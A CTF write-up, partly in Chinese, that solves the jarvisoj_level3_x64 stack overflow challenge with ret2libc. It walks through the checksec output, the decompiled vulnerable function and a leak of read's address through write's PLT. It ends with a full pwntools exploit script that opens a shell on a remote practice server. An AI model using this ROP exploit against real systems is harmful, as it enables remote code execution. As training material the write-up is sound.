jarvisoj_level3_x64

Uncategorized
2.1k words

Involved Knowledge

  • retlibc
  • The leak of the write function

checksec

Arch:     amd64-64-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

开启了NX,不能写入shellcode,一般这种情况下我们就往ROP上面考虑了

Running Program

Input:
123(用户输入)
Hello, World!

Analyze

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function(argc, argv, envp);
  return write(1, "Hello, World!\n", 0xEuLL);
}

执行vulnerable_function函数,然后输出Hello World! 我们跟进vulnerable_function去看看

vulnerable_function

ssize_t vulnerable_function()
{
  char buf[128]; // [rsp+0h] [rbp-80h] BYREF

  write(1, "Input:\n", 7uLL);
  return read(0, buf, 0x200uLL);
}

输出Input:后等待用户输入,注意这里的buf大小,定义buf的时候大小为128,也就是0x80,但是在接收用户输入的时候用的read函数可接受的大小为0x200,远超出了bud的大小,stackoverflow,我们可以在这里写入ropchain

Constructing the ropchain

我们看下程序调用了哪些函数

观察发现有write,read__libc_start_main,没有puts,所以这里我们另寻他路

在我们打ropchain前,write就已经调用过了(vulnerable_function里的write(1, "Input:\n", 7uLL);)我们通过调用write的plt,可以以read的got表为参数,来将read的地址泄露出来(或者就泄露write)

及rdi $\rightarrow$ 1 rsi$\rightarrow$read_got

Exp

    # Arch:     amd64-64-little
    # RELRO:    No RELRO
    # Stack:    No canary found
    # NX:       NX enabled
    # PIE:      No PIE (0x400000)
from pwn import *
from LibcSearcher import *
context(os = "linux" , arch ="amd64" , log_level = "debug")
host = "node4.buuoj.cn"
port = 25756
elf = ELF("/mnt/c/Users/M1sceden4/Desktop/pwn/level3_x64")
local = int(input("0 for remote , 1 for local:\t"))
if local == 1:
    io = process(elf.path)
elif local == 0:
    io = remote(host , port)
pop_rsi_r15 = 0x00000000004006b1
pop_rdi = 0x00000000004006b3
ret = 0x0000000000400499
write_got = elf.got['write']
write_plt = elf.plt['write']
read_got = elf.got['read']
read_plt = elf.plt['read']
main = elf.sym['main']
payload = b'a' * (0x80 + 0x8) + p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(read_got) + p64(0) + p64(write_plt) + p64(main)

# 设置write()的第一个参数为1 , 第二个参数为read_got,这样来泄露出read的地址
io.sendlineafter("Input:\n" , payload)
read_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8 , b'\x00'))
success("read_addr -> " + hex(read_addr))
libc = LibcSearcher("read" , read_addr)
libc_base = read_addr - libc.dump("read")

system = libc_base + libc.dump("system")
binsh = libc_base + libc.dump("str_bin_sh")
payload = b'a' * (0x80 + 0x8) + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)
io.sendline(payload)
io.interactive()